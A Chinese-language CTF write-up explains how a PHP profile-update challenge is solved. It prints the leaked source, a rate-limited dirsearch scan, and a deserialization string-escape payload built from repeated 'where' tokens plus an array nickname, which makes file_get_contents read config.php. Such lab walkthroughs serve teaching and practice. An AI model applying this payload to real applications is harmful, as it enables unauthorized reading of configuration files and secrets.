进入环境

注入没反应,万能密码也不行,发现有个admin用户,但是报不出来密码

换个思路,目录扫描一波,但是这里buu扫描需要设置延时,不然全是429
python dirsearch.py -u http://3b1e3a5a-6685-42a2-bede-7708644af9e4.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429

有www.zip下下来查看源码,有register.php先注册一个用户登录进去,是一个更新个人信息的页面

到这先分析一波源码,在profile.php找到file_get_contents利用点
- require_once('class.php');
- if($_SESSION['username'] == null) {
- die('Login First');
- }
- $username = $_SESSION['username'];
- $profile=$user->show_profile($username);
- if($profile == null) {
- header('Location: update.php');
- }
- else {
- $profile = unserialize($profile);
- $phone = $profile['phone'];
- $email = $profile['email'];
- $nickname = $profile['nickname'];
- $photo = base64_encode(file_get_contents($profile['photo']));
- ?>
返回去分析一下photo在哪,看到serialize,class.php有过滤将字符替换成hacker,这一题是反序列化字符串逃逸了
- require_once('class.php');
- if($_SESSION['username'] == null) {
- die('Login First');
- }
- if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
-
- $username = $_SESSION['username'];
- if(!preg_match('/^\d{11}$/', $_POST['phone']))
- die('Invalid phone');
-
- if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
- die('Invalid email');
-
- if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
- die('Invalid nickname');
-
- $file = $_FILES['photo'];
- if($file['size'] < 5 or $file['size'] > 1000000)
- die('Photo size error');
-
- move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
- $profile['phone'] = $_POST['phone'];
- $profile['email'] = $_POST['email'];
- $profile['nickname'] = $_POST['nickname'];
- $profile['photo'] = 'upload/' . md5($file['name']);
-
- $user->update_profile($username, serialize($profile));
- echo 'Update Profile Success!Your Profile';
- }
- else {
- ?>

我们先本地输出一下
- <?php
-
- if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
-
-
- if(!preg_match('/^\d{11}$/', $_POST['phone']))
- die('Invalid phone');
-
- if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
- die('Invalid email');
-
- if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
- die('Invalid nickname');
-
- $file = $_FILES['photo'];
- if($file['size'] < 5 or $file['size'] > 1000000)
- die('Photo size error');
-
- move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
- $profile['phone'] = $_POST['phone'];
- $profile['email'] = $_POST['email'];
- $profile['nickname'] = $_POST['nickname'];
- $profile['photo'] = 'upload/' . md5($file['name']);
-
- var_dump(serialize($profile));
-
- }
- else {
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title>UPDATE</title>
- <link href="static/bootstrap.min.css" rel="stylesheet">
- <script src="static/jquery.min.js"></script>
- <script src="static/bootstrap.min.js"></script>
- </head>
- <body>
- <div class="container" style="margin-top:100px">
- <form action="12311.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
- <h3>Please Update Your Profile</h3>
- <label>Phone:</label>
- <input type="text" name="phone" style="height:30px"class="span3"/>
- <label>Email:</label>
- <input type="text" name="email" style="height:30px"class="span3"/>
- <label>Nickname:</label>
- <input type="text" name="nickname" style="height:30px" class="span3">
- <label for="file">Photo:</label>
- <input type="file" name="photo" style="height:30px"class="span3"/>
- <button type="submit" class="btn btn-primary">UPDATE</button>
- </form>
- </div>
- </body>
- </html>
- <?php
- }
- ?>
string(155) "a:4:{s:5:"phone";s:11:"12345644564";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";s:1:"1";s:5:"photo";s:39:"upload/156005c5baf40ff51a327f1c34f2975b";}"
审计源代码有config.php文件
- $config['hostname'] = '127.0.0.1';
- $config['username'] = 'root';
- $config['password'] = '';
- $config['database'] = '';
- $flag = '';
- ?>
可知我们最终是要利用file_get_contents读取config.php文件里的flag
所以应该输出的是
"a:4:{s:5:"phone";s:11:"12345644564";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";s:1:"1";s:5:"photo";s:10:"config.php";}"
但是正常情况下是不能让photo的值是config.php的,所以我们利用nickname去构造一个config.php出来,但是因为nickname只要匹配到a-zA-Z0-9_就会die,所以这里需要用数组绕过
数组序列化时会有一个{},我们输出演示一下

string(165) "a:4:{s:5:"phone";s:11:"12345644564";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";a:1:{i:0;s:1:"1";}s:5:"photo";s:39:"upload/156005c5baf40ff51a327f1c34f2975b";}"
可以看见nickname变成数组序列化以后是{i:0;s:1:"1";}
所以我们给nickname=";}s:5:"photo";s:10:"config.php";},前面的}是为了闭合nickname变成数组序列化的{,后面的}是为了让上传图片名字序列化的值不影响到我们的config.php
输出看看
"a:4:{s:5:"phone";s:11:"12345644564";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";a:1:{i:0;s:34:"";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/156005c5baf40ff51a327f1c34f2975b";}"
这里我发现在php";}";}s:5貌似重复了,但是也不影响,所以nickname=";}s:5:"photo";s:10:"config.php也行,输出试试
"a:4:{s:5:"phone";s:11:"12345644564";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";a:1:{i:0;s:31:"";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/156005c5baf40ff51a327f1c34f2975b";}"
但是.php";}s:5:"好像没有和最前方的"对齐,经最终测试,是不影响的
这里因为s:31:"";}s:5:"photo";s:10:"config.php",要取31位会把config.php当做值,所以我们要在前面加上31个where使其被过滤替换成hacker多一个字符以满足这31个字符
所以最后的payload有两种
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
这里正常填就行,然后抓包

修改nickname为数组

跳转到个人信息页面,查看读取的config.php

查看源代码

base64解密得到flag
